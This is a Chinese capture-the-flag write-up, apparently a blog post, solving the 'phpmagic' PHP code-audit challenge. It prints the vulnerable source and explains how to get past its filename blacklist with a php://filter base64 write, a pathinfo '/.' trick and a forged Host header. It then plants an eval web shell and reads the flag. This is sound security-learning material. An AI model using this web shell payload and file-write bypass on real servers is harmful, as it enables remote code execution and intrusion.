一道代码审计题

一道代码审计题

题目是p神的code-breaking中的phpmagic。

先?read-source=1可以读到源码
php内容为:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
	$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
	$output = shell_exec($command);
	$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

	$log_name = $_SERVER['SERVER_NAME'] . $log_name;
	if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
		file_put_contents($log_name, $output);
	}
	echo $output;
	endif; 
?>

分析源码,首先创建了一个文件夹
路径为./data/md5($_SERVER['REMOTE_ADDR'])/

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

这里使用shell_exec执行了命令,但输入的domain被escapeshellarg处理过,没有其他条件,难以利用。

escapeshellarg($string) 把字符串转码为可以在shell命令里使用的参数 (确保用户只传递一个参数给命令)

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
	file_put_contents($log_name, $output);
}
echo $output;

这里有写文件的操作,output被打印出来了的
在这里插入图片描述
这个命令会把我们传入的值输出出来,但在之前使用了htmlspecialchars这个函数,使得所有的标签都被转化了。

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

我们可以使用php伪协议来写入文件,这样就不用担心标签字符失效了

这里还使用了pathinfo函数来取文件后缀,之后判断时候再黑名单中。
而pathinfo这个函数是可以被绕过的。

pathinfo函数只是取最后一个小数点之后的字符作为文件的后缀,因此很容易被绕过

这里用a.php/.a就能绕过,而且php://filter伪协议还能将其看做a.php
(详细可以看看:http://wonderkun.cc/index.html/?p=626)

我们要用php伪协议来写文件,所以文件名log_name一定是php://filter开头的。
log_name的赋值过程:

$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
$log_name = $_SERVER['SERVER_NAME'] . $log_name;

这里将log_name开头写成了$_SERVER[‘SERVER_NAME’]
查找资料,发现当我们使用ip访问的时候,$_SERVER[‘SERVER_NAME’]是可以伪造的。

到此,我们就可以构造payload了
<?php eval($_GET[1]); ?> base64==> PD9waHAgZXZhbCgkX0dFVFsxXSk7ICA/Pg==
因为我们输入的参数是在$output的中间部分,所以base64后的等号不能要,不然解base64时会出错
最后,
在这里插入图片描述

最后看上传的位置, ./data/md5($_SERVER['REMOTE_ADDR'])/
$_SERVER[‘REMOTE_ADDR’]是我们自己的ip地址
这里我的路径是 /data/dd546ac20717cd31b1ceaad3eb9911c1/
访问/data/dd546ac20717cd31b1ceaad3eb9911c1/shell.php,之后即可读取flag
在这里插入图片描述

知识点:

① php://filter可用来base64 bypass写入内容
② pathinfo可以用/.来绕过
③ $_SERVER[‘SERVER_NAME’]可通过Host进行伪造

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值